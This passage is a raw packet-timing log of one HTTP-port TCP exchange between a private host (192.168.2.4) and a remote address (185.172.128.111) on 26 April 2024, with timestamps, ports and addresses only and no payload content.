Apr 26, 2024 09:41:10.058428049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058485985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058535099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058634996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058684111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058753014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058803082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059175014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059190989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059206963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059222937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059238911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059252977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059354067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059354067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059354067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059360981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059418917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059568882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059638977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059737921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059755087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059799910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059809923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059861898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059864998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.059925079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.059988976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060004950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060039997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060060024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060066938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060125113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060148001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060167074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060198069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060214043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060246944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060270071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060344934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060399055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060529947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060590029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060594082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060637951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060662031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060714006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060745955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060805082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060909033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.060961962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.060987949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061005116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061041117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061054945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061081886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061129093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061142921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061161995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061175108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061207056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061233044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061283112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061341047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061383009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061397076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061428070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061443090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061460018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061500072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061513901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061527014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061578035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061598063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061645031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061666965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061681986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.061717987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.061733007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109183073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109266996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109448910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109467030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109483004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109508038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109538078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109814882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109849930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109880924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109914064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109925032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109929085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.109961987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.109981060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110063076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110116005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110183954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110202074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110217094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110239983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110264063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110423088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110474110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110488892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110547066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110563040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110579967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110613108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110635996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110719919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110765934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110807896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110903978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110933065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.110937119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.110980988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111056089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111094952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111128092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111139059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111160994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111170053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111207962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111207962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111555099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111609936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111612082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111654997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111680031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111696005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111748934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111749887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111886978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111943007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.111947060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.111991882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112034082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112075090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112107038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112155914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112267017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112284899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112318039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112358093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112440109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112454891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112488031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112515926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112549067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112581015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112616062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112637997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112653971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112660885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112704992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112859011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112899065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112911940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112942934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.112966061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.112982035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113018036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113034964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113289118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113336086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113336086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113379955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113420963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113444090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113470078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113483906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113671064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113723993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113750935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113795996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113837004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113859892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.113883018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.113895893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114022017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114073992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114101887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114135027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114146948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114151001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114181042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114198923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114276886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114319086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114362955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114411116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114437103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114480972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114495993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114542007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114732981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114783049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114794016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114840031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114866972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114882946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114908934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114927053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.114955902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.114990950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115000010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115034103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115056038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115072012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115103006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115117073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115478039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115528107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115530014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115573883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115601063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115616083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115645885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115665913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.115969896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.115988016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116020918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116036892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116070032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116086006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116122007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116136074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116302013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116319895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116352081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116370916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116442919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116458893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116477013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116492033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116511106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116525888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116530895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116544008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116559982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116568089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116595984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116616011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116807938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116838932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116858959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116882086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116919041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116934061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.116966963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.116981030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.117309093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.117361069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.117403030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.117455006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.117480993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.117496967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.117530107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.117552996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.165540934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.165597916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.165662050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.165678978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.165810108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.166013956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.166137934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.166222095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.166290045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.167166948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.167423010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.167483091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.167501926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.167560101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.167587042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.167644024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.167648077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.167699099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.167918921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.167978048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168000937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168055058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168055058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168072939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168103933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168119907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168155909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168207884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168210983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168260098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168282032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168298006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168328047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168345928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168354988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168404102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168412924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168447018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168591976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168648005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.168672085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.168728113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169105053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169162035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169312954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169370890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169379950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169395924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169430017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169452906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169456959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169513941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169539928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169557095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169585943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169595957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169614077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169636965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169730902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169747114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169811010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169837952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169886112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169914007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.169970036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.169985056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.170037985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.170042992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.170084000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.170145988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.170205116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.170218945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.170270920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.170298100 CEST	80	49730	185.172.128.111	192.168.2.4
